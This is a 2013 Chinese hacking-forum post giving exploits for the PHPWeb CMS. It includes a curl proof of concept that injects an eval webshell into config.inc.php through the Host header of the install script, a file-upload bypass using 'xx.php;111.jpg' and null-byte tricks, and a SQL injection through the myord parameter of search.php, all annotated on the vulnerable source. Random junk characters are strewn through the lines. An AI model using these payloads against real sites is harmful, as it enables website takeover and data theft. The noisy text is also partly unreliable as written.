找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2390|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
- c5 N8 U! ]  b
% G9 Z* [9 i6 e! g' C之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码6 S; r; ^* ^4 ^* ^
$ D# ?. Y' ~/ a. d/ F0 A
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
; t: K3 @; K& \! @1 p9 }+ Q( u鸡肋2: 有一定安全常识的站长都会删掉 install 目录  ^. d, F$ F" O: w6 v% w2 ~

* o% Q  P4 b2 p虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响  `" Z/ M; o& Z6 X* l

# a9 ]- o% l5 d, J1 O* p( Q分析:
4 h7 ?9 H+ _# R% @7 s 2 ?& u- V. N* k3 H7 G+ m

' i  E6 e: V: B$ \9 L$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
  _$ [3 S' j7 L. d; O " Y: T; G! s: ^* J
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);3 o& T! e5 _. y2 z# E- T
                                            $filestr=str_replace(" ","",$filestr);
9 K* t3 W% u- o# y7 R) ]/ ^: \                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
! N# ]( P' U' y( G# C                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
' F+ o9 w0 |: T5 N1 P. D/ j4 }; E                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);3 W6 R! T% X# h. C1 [/ l$ T; B' K
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
9 v  e- r) q3 x! a) K8 Z: q" l; \                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
; v, J, F- ~$ u/ V" L; S) J. o                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);  p; F. S! U0 n* b$ H
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- u7 H& m- c+ l

2 |5 {" e+ o; o& q1 ~- W                                            fwrite(fopen($ConFile,"w"),$filestr,30000);& s* E& D- g, D, [+ E
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
0 L8 ^5 f. v% v/ ?! {8 }6 I: c# @ - e3 z/ R' a2 P0 x  l1 {8 p
poc:
% W" }5 B! f: w# I+ D8 J; b
; i+ X! Z* C6 Z/ p?
/ H* J! a8 b. g7 \0 F' `8 Q! m- Y) R1
& l( l; \# |# j# G" p: P3 scurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"% K, }8 B% ~  c4 o  q* U
shell地址: /config.inc.php
6 J1 V/ _8 ?9 C& k( }1 ]! {跟之前的 phpcms一样 需要远程数据库/ }5 v+ ~0 e0 m) r0 ]4 y4 r( J5 \

7 ^* r  {/ k7 ^1 f——————————————————–5 r- M9 w, b9 [
上传漏洞(需要进后台):
. o# p8 a( v1 L" w$ U# S& f漏洞文件: /kedit/upload_cgi/upload.php% S; @$ }( H, v' m4 ]+ g5 K1 T* I, A
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
" Z: Y" A! h/ } " @/ v; A4 _' I( N

$ {7 l8 ]- J, w+ |4 e$ f2 v<?php+ D* y) ]5 i* A3 d0 N1 L) T1 B
    define("ROOTPATH", "../../");) [: ~6 h+ W* Z, L* h
    include(ROOTPATH."includes/admin.inc.php");
7 o( Z2 N# k7 R/ v% s" I" @    NeedAuth(0);. m8 M( {, c  {
/ D6 y5 k# D& x# r
    $dt=date("Ymd",time());
' r, m' |& ?* R% K  B9 H3 M2 z    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
" D1 o3 X; P5 e. j5 Q9 Z            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
, F) ^8 Y0 w5 F6 e    }
: l2 o+ A; \8 p" l( X, i! V
9 y: {3 y  `6 D    //文件保存目录路径
3 D; T' N: B. B: g- ^* ^. G    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
0 U9 c6 T& [7 ^( a    echo $save_path;6 y, u. V* y& I# Q+ Y
    //文件保存目录URL2 B( l* P. h: w3 q1 `
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
2 Z8 x% u5 O4 \" p! F* R/ c # J5 V9 l9 ^: [3 t3 W2 x0 D4 ]
    //定义允许上传的文件扩展名! o; }, ^$ q9 u& |+ K1 \3 N' M+ }7 s
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀/ o& I1 q# H" M, i# _1 X

, g% q/ M4 A! k( M1 A# N+ o7 [4 q) j' `" y8 D    //最大文件大小* e& q3 v4 G% b+ S7 u; I- A: `
    $max_size = 1000000;; h* [1 Y* F+ j4 n' m! W" ?

" Y8 B2 ], [! ?, n8 F: f/ t5 l0 V    //更改目录权限' T9 }+ ^. W3 H* ~# }6 T/ i& y
    @mkdir($save_path, 0777);8 P& T+ m6 g5 e) j/ c

" ^- V- Y) M9 P    //文件的全部路径; w) ^  U0 Q$ G
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
9 U. P( X! m( O8 Z1 _& O ( v/ z2 m$ i% K/ x3 i5 s
    //文件URL  Z- _2 e! m" V4 `7 L# H9 @
    $file_url = $save_url.$_POST['fileName'];) G' V6 K9 Y/ s: c: U8 `) ]: n3 S
//有上传文件时. }. L& @& k# h* Z& f
    if (empty($_FILES) === false) {+ F: M  w+ A. X

9 C3 Q. C* l( G6 F            //原文件名: v  U5 J+ X# x* w
            $file_name = $_FILES['fileData']['name'];
. i% H4 t' A0 i            //服务器上临时文件名
2 d5 B* S5 m) B- g" r            $tmp_name = $_FILES['fileData']['tmp_name'];
7 K1 i4 @. A. A! Y+ O" k            //文件大小7 u3 @7 }. U# t. U! M
            $file_size = $_FILES['fileData']['size'];
/ A  J  d# y+ n+ m# ^0 d            //检查目录2 W3 k; P; D; N( K6 ?
            if (@is_dir($save_path) === false) {) E4 ]7 C. w2 s8 J: c; _" o
                    alert("上传目录不存在。");
5 C5 v% [0 g  c8 m4 H7 o% X            }
& r& E) v! M. ^5 R6 [            //检查目录写权限
1 Q" R8 a+ M3 A0 D( m# t6 p4 r! ]/ Y            if (@is_writable($save_path) === false) {# Q9 _' E* z, W6 O# g; v
                    alert("上传目录没有写权限。");
$ m# u4 O: V5 v5 }/ c0 c6 ]# u            }- F; h+ r6 p) m' N& x0 J) a! D6 Q/ Y
            //检查是否已上传: m3 @0 _6 A, [8 B6 g
            if (@is_uploaded_file($tmp_name) === false) {/ u8 f1 c' q; z0 Q2 i
                    alert("临时文件可能不是上传文件。");
/ H, H7 V1 h* i+ Q+ F2 h            }
1 z  A' `5 O/ l5 T! z            //检查文件大小; u9 a7 U6 J2 D" Z. Y/ D6 i3 a% k
            if ($file_size > $max_size) {
, a3 z. I+ N& x* ^% X) R( A5 S0 K                    alert("上传文件大小超过限制。");  R9 n3 V$ m0 ~: ?
            }
' d( n) Y9 U% V# r; ]1 E/ u            //获得文件扩展名7 O! j  }' }6 t) y/ W
            $temp_arr = explode(".", $_POST['fileName']);
* a- z& h- s- ~; H( O- z            $file_ext = array_pop($temp_arr);
1 s: N( n: n" |% j( y2 n            $file_ext = trim($file_ext);
% }7 i0 v* Q8 o" p            $file_ext = strtolower($file_ext);7 n5 ^- V# i6 r. v" s, C& H3 x

* @  b' E* v( }1 V. h# F            //检查扩展名   " o# H: v5 B* ?! l1 g8 D8 [# k5 F# q% Y
            if (in_array($file_ext, $ext_arr) === false) {     ( x+ P" g2 |: W4 O3 b$ L& _
                    alert("上传文件扩展名是不允许的扩展名。");; J9 D4 l& j5 w& S1 F6 r* b
            }- Z6 L- U* |, i: n# S1 l

4 Z& ~& c! s( P! _9 d            //移动文件   1 i3 i$ `( ~/ `  a
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^( }9 S( N, |3 ^
            if (move_uploaded_file($tmp_name, $file_path) === false) {# m. c% J+ |" F' O% u# z! k
                    alert("上传文件失败。");
; C4 t" \) I( n/ V. j) l7 P& X            }
+ G3 L0 h8 X4 n9 A) [8 H7 F
9 d0 w% r" O( c3 R" M5 }# }0 j            @chmod($file_path,0666);
  p- ~6 i6 n0 a- w) f& ?
3 J( `# q% i2 ^' w7 p    ?>6 |3 L) E/ E$ ?0 Y  m
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227  q3 j7 o5 s+ @

4 T' T2 M" d- Eapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 h+ p% H- o$ s9 V; T8 @  X  L9 R& Y8 W
/ s1 J4 q& E+ ]" F
——————————————————
- B7 P! J/ U/ U5 S' K注入漏洞:
" q; ^3 P, [9 Z( x& S; Y$ _' K漏洞文件:search/module/search.php
# Y) P9 k8 b2 o7 C$ B/search/index.php?key=1&myord=1 [sqlinjection]+ e  A8 \  `* [7 Y5 l
& j; E) d* H+ c
7 M4 n* @3 d0 q( N2 S4 h
<?php
2 e6 K2 r' R8 {) V! z   //       ... 省略 n 行...
( R" Q5 e) ~" G; M/ x6 [5 ]   //第18行:
! j! i4 g& I2 M* d$ ^" F* \           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响% p; n: a9 C) Q8 A, N1 E; o9 U
           $page=htmlspecialchars($_GET["page"]);1 Z0 o3 R/ \+ e4 x* g
           $myord=htmlspecialchars($_GET["myord"]);
  {# Q+ I1 l- g4 y 8 Q8 r8 m) a& L+ Y. `
   //       ... 省略 n 行...3 i/ I7 F% i" G+ d8 m! `# ]/ h: j" i
   $key,$myord 两个参数带入查询/ O/ X% r. x3 w
   //第47行 $key:
! N  F, }6 c! t% Z) l) {
, W3 L  N' c: C   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
8 m" o: n: y+ J8 T1 v
8 M1 J' b5 G+ n, x1 o# w   //第197行 $myord' u  V" Y0 {9 p( c
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入8 h" |, B* D/ U3 p, J0 ~
- O1 d6 j' Z) d$ b
   ?>
) [- h7 u! }: j4 `, _) c) {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表